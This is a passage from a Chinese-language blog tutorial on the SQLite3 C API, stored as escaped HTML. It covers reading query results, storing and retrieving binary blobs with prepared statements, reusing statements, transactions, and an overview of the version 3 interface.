class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        index = nColumn; \u003cspan class=\"comment\"\u003e//前面说过 dbResult 前面第一行数据是字段名称,从 nColumn 索引开始才是真正的数据\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “查到%d条记录/n”, nRow );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(  i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; nRow ; i++ )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e             \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “第 %d 条记录/n”, i+\u003cspan class=\"number\"\u003e1\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e             \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e( j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e ; j \u0026lt; nColumn; j++ )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e             {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e                  \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “字段名:%s  ß\u0026gt; 字段值:%s/n”,  dbResult[j], dbResult [index] );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e                  ++index; \u003cspan class=\"comment\"\u003e// dbResult 的字段值是连续的,从第0索引到第 nColumn - 1索引都是字段名称,从第 nColumn 索引开始,后面都是字段值,它把一个二维的表(传统的行列表示法)用一个扁平的形式来表示\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e             }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e             \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “-------/n” );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//到这里,不论数据库查询是否成功,都释放 char** 查询结果,使用 sqlite 提供的功能来释放\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   sqlite3_free_table( dbResult );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//关闭数据库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   sqlite3_close( db );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e到这个例子为止,sqlite3 的常用用法都介绍完了。\u003c/p\u003e\u003cp\u003e用以上的方法,再配上 sql 语句,完全可以应付绝大多数数据库需求。\u003c/p\u003e\u003cp\u003e但有一种情况,用上面方法是无法实现的:需要insert、select 二进制。当需要处理二进制数据时,上面的方法就没办法做到。下面这一节说明如何插入二进制数据\u003c/p\u003e\u003cp\u003e3 操作二进制\u003c/p\u003e\u003cp\u003esqlite 操作二进制数据需要用一个辅助的数据类型:sqlite3_stmt * 。\u003c/p\u003e\u003cp\u003e这个数据类型记录了一个“sql语句”。为什么我把 “sql语句” 用双引号引起来?因为你可以把 sqlite3_stmt * 所表示的内容看成是 sql语句,但是实际上它不是我们所熟知的sql语句。它是一个已经把sql语句解析了的、用sqlite自己标记记录的内部数据结构。\u003c/p\u003e\u003cp\u003e正因为这个结构已经被解析了,所以你可以往这个语句里插入二进制数据。当然,把二进制数据插到 sqlite3_stmt 结构里可不能直接 memcpy ,也不能像 std::string 那样用 + 号。必须用 sqlite 提供的函数来插入。\u003c/p\u003e\u003cp\u003e(1)写入二进制\u003c/p\u003e\u003cp\u003e下面说写二进制的步骤。\u003c/p\u003e\u003cp\u003e要插入二进制,前提是这个表的字段的类型是 blob 类型。我假设有这么一张表:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ecreate table \u003cspan class=\"title function_\"\u003eTbl_2\u003c/span\u003e\u003cspan class=\"params\"\u003e( ID integer, file_content  blob )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e首先声明\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_stmt * stat;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后,把一个 sql 语句解析到 stat 结构里去:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_prepare( db, “insert into Tbl_2( ID, file_content) values( \u003cspan class=\"number\"\u003e10\u003c/span\u003e, ? )”, \u003cspan class=\"number\"\u003e-1\u003c/span\u003e, \u0026amp;stat, \u003cspan class=\"number\"\u003e0\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的函数完成 sql 语句的解析。第一个参数跟前面一样,是个 sqlite3 * 类型变量,第二个参数是一个 sql 语句。\u003c/p\u003e\u003cp\u003e这个 sql 语句特别之处在于 values 里面有个 ? 号。在sqlite3_prepare函数里,?号表示一个未定的值,它的值等下才插入。\u003c/p\u003e\u003cp\u003e第三个参数我写的是-1,这个参数含义是前面 sql 语句的长度。如果小于0,sqlite会自动计算它的长度(把sql语句当成以/0结尾的字符串)。\u003c/p\u003e\u003cp\u003e第四个参数是 sqlite3_stmt 的指针的指针。解析以后的sql语句就放在这个结构里。\u003c/p\u003e\u003cp\u003e第五个参数我也不知道是干什么的。为0就可以了。\u003c/p\u003e\u003cp\u003e如果这个函数执行成功(返回值是 SQLITE_OK 且 stat 不为NULL ),那么下面就可以开始插入二进制数据。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_bind_blob( stat, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, pdata, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)(length_of_data_in_bytes), \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e ); \u003cspan class=\"comment\"\u003e// pdata为数据缓冲区,length_of_data_in_bytes为数据大小,以字节为单位\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个函数一共有5个参数。\u003c/p\u003e\u003cp\u003e第1个参数:是前面prepare得到的 sqlite3_stmt * 类型变量。\u003c/p\u003e\u003cp\u003e第2个参数:?号的索引。前面prepare的sql语句里有一个?号,假如有多个?号怎么插入?方法就是改变 bind_blob 函数第2个参数。这个参数我写1,表示这里插入的值要替换 stat 的第一个?号(这里的索引从1开始计数,而非从0开始)。如果你有多个?号,就写多个 bind_blob 语句,并改变它们的第2个参数就替换到不同的?号。如果有?号没有替换,sqlite为它取值null。\u003c/p\u003e\u003cp\u003e第3个参数:二进制数据起始指针。\u003c/p\u003e\u003cp\u003e第4个参数:二进制数据的长度,以字节为单位。\u003c/p\u003e\u003cp\u003e第5个参数:是个析够回调函数,告诉sqlite当把数据处理完后调用此函数来析够你的数据。这个参数我还没有使用过,因此理解也不深刻。但是一般都填NULL,需要释放的内存自己用代码来释放。\u003c/p\u003e\u003cp\u003ebind完了之后,二进制数据就进入了你的“sql语句”里了。你现在可以把它保存到数据库里:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e result = sqlite3_step( stat );\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e通过这个语句,stat 表示的sql语句就被写到了数据库里。\u003c/p\u003e\u003cp\u003e最后,要把 sqlite3_stmt 结构给释放:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_finalize( stat ); \u003cspan class=\"comment\"\u003e//把刚才分配的内容析构掉\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(2)读出二进制\u003c/p\u003e\u003cp\u003e下面说读二进制的步骤。\u003c/p\u003e\u003cp\u003e跟前面一样,先声明 sqlite3_stmt * 类型变量:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_stmt * stat;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后,把一个 sql 语句解析到 stat 结构里去:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_prepare( db, “select * from Tbl_2”, \u003cspan class=\"number\"\u003e-1\u003c/span\u003e, \u0026amp;stat, \u003cspan class=\"number\"\u003e0\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e当 prepare 成功之后(返回值是 SQLITE_OK ),开始查询数据。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e result = sqlite3_step( stat );\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这一句的返回值是SQLITE_ROW 时表示成功(不是 SQLITE_OK )。\u003c/p\u003e\u003cp\u003e你可以循环执行sqlite3_step 函数,一次step查询出一条记录。直到返回值不为 SQLITE_ROW 时表示查询结束。\u003c/p\u003e\u003cp\u003e然后开始获取第一个字段:ID 的值。ID是个整数,用下面这个语句获取它的值:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e id = sqlite3_column_int( stat, \u003cspan class=\"number\"\u003e0\u003c/span\u003e ); \u003cspan class=\"comment\"\u003e//第2个参数表示获取第几个字段内容,从0开始计算,因为我的表的ID字段是第一个字段,因此这里我填0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面开始获取 file_content 的值,因为 file_content 是二进制,因此我需要得到它的指针,还有它的长度:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e * pFileContent = sqlite3_column_blob( stat, \u003cspan class=\"number\"\u003e1\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e len = sqlite3_column_bytes( stat, \u003cspan class=\"number\"\u003e1\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样就得到了二进制的值。\u003c/p\u003e\u003cp\u003e把 pFileContent 的内容保存出来之后,不要忘了释放 sqlite3_stmt 结构:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_finalize( stat ); \u003cspan class=\"comment\"\u003e//把刚才分配的内容析构掉\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(3)重复使用 sqlite3_stmt 结构\u003c/p\u003e\u003cp\u003e如果你需要重复使用 sqlite3_prepare 解析好的 sqlite3_stmt 结构,需要用函数: sqlite3_reset。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_reset(stat);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样, stat 结构又成为 sqlite3_prepare 完成时的状态,你可以重新为它 bind 内容。\u003c/p\u003e\u003cp\u003e4 事务处理\u003c/p\u003e\u003cp\u003esqlite 是支持事务处理的。如果你知道你要同步删除很多数据,不仿把它们做成一个统一的事务。\u003c/p\u003e\u003cp\u003e通常一次 sqlite3_exec 就是一次事务,如果你要删除1万条数据,sqlite就做了1万次:开始新事务-\u0026gt;删除一条数据-\u0026gt;提交事务-\u0026gt;开始新事务-\u0026gt;… 的过程。这个操作是很慢的。因为时间都花在了开始事务、提交事务上。\u003c/p\u003e\u003cp\u003e你可以把这些同类操作做成一个事务,这样如果操作错误,还能够回滚事务。\u003c/p\u003e\u003cp\u003e事务的操作没有特别的接口函数,它就是一个普通的 sql 语句而已:\u003c/p\u003e\u003cp\u003e分别如下:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e result; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, \u003cspan class=\"string\"\u003e\u0026#34;begin transaction\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u0026amp;zErrorMsg ); \u003cspan class=\"comment\"\u003e//开始一个事务\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, \u003cspan class=\"string\"\u003e\u0026#34;commit transaction\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u0026amp;zErrorMsg ); \u003cspan class=\"comment\"\u003e//提交事务\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, \u003cspan class=\"string\"\u003e\u0026#34;rollback transaction\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u0026amp;zErrorMsg ); \u003cspan class=\"comment\"\u003e//回滚事务\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"四、C-x2F-C-开发接口简介1-总览\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/#%E5%9B%9B%E3%80%81C-x2F-C-%E5%BC%80%E5%8F%91%E6%8E%A5%E5%8F%A3%E7%AE%80%E4%BB%8B1-%E6%80%BB%E8%A7%88\" class=\"headerlink\" title=\"四、C/C++开发接口简介1 总览\"\u003e\u003c/a\u003e四、C/C++开发接口简介1 总览\u003c/h2\u003e\u003cp\u003eSQLite3是SQLite一个全新的版本,它虽然是在SQLite 2.8.13的代码基础之上开发的,但是使用了和之前的版本不兼容的数据库格式和API. SQLite3是为了满足以下的需求而开发的:\u003c/p\u003e\u003cul\u003e\u003cli\u003e支持UTF-16编码.\u003c/li\u003e\u003cli\u003e用户自定义的文本排序方法.\u003c/li\u003e\u003cli\u003e可以对BLOBs字段建立索引.\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e因此为了支持这些特性我改变了数据库的格式,建立了一个与之前版本不兼容的3.0版. 至于其他的兼容性的改变,例如全新的API等等,都将在理论介绍之后向你说明,这样可以使你最快的一次性摆脱兼容性问题.\u003c/p\u003e\u003cp\u003e3.0版的和2.X版的API非常相似,但是有一些重要的改变需要注意. 所有API接口函数和数据结构的前缀都由”sqlite_”改为了”sqlite3_”. 这是为了避免同时使用SQLite 2.X和SQLite 3.0这两个版本的时候发生链接冲突.\u003c/p\u003e\u003cp\u003e由于对于C语言应该用什么数据类型来存放UTF-16编码的字符串并没有一致的规范. 因此SQLite使用了普通的void\u003cem\u003e类型来指向UTF-16编码的字符串. 客户端使用过程中可以把void\u003c/em\u003e映射成适合他们的系统的任何数据类型.\u003c/p\u003e\u003cp\u003e2 C/C++接口\u003c/p\u003e\u003cp\u003eSQLite 3.0一共有83个API函数,此外还有一些数据结构和预定义(#defines). (完整的API介绍请参看另一份文档.) 不过你们可以放心,这些接口使用起来不会像它的数量所暗示的那么复杂. 最简单的程序仍然使用三个函数就可以完成: sqlite3_open(), sqlite3_exec(), 和 sqlite3_close(). 要是想更好的控制数据库引擎的执行,可以使用提供的sqlite3_prepare()函数把SQL语句编译成字节码,然后在使用sqlite3_step()函数来执行编译后的字节码. 以sqlite3_column_开头的一组API函数用来获取查询结果集中的信息. 许多接口函数都是成对出现的,同时有UTF-8和UTF-16两个版本. 并且提供了一组函数用来执行用户自定义的SQL函数和文本排序函数.\u003c/p\u003e\u003cp\u003e(1)如何打开关闭数据库\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"title\"\u003esqlite3\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_open\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e*, sqlite3**)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_open16\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, sqlite3**)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_close\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_errmsg16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_errcode\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003esqlite3_open() 函数返回一个整数错误代码,而不是像第二版中一样返回一个指向sqlite3结构体的指针. sqlite3_open() 和sqlite3_open16() 的不同之处在于sqlite3_open16() 使用UTF-16编码(使用本地主机字节顺序)传递数据库文件名. 如果要创建新数据库, sqlite3_open16() 将内部文本转换为UTF-16编码, 反之sqlite3_open() 将文本转换为UTF-8编码.\u003c/p\u003e\u003cp\u003e打开或者创建数据库的命令会被缓存,直到这个数据库真正被调用的时候才会被执行. 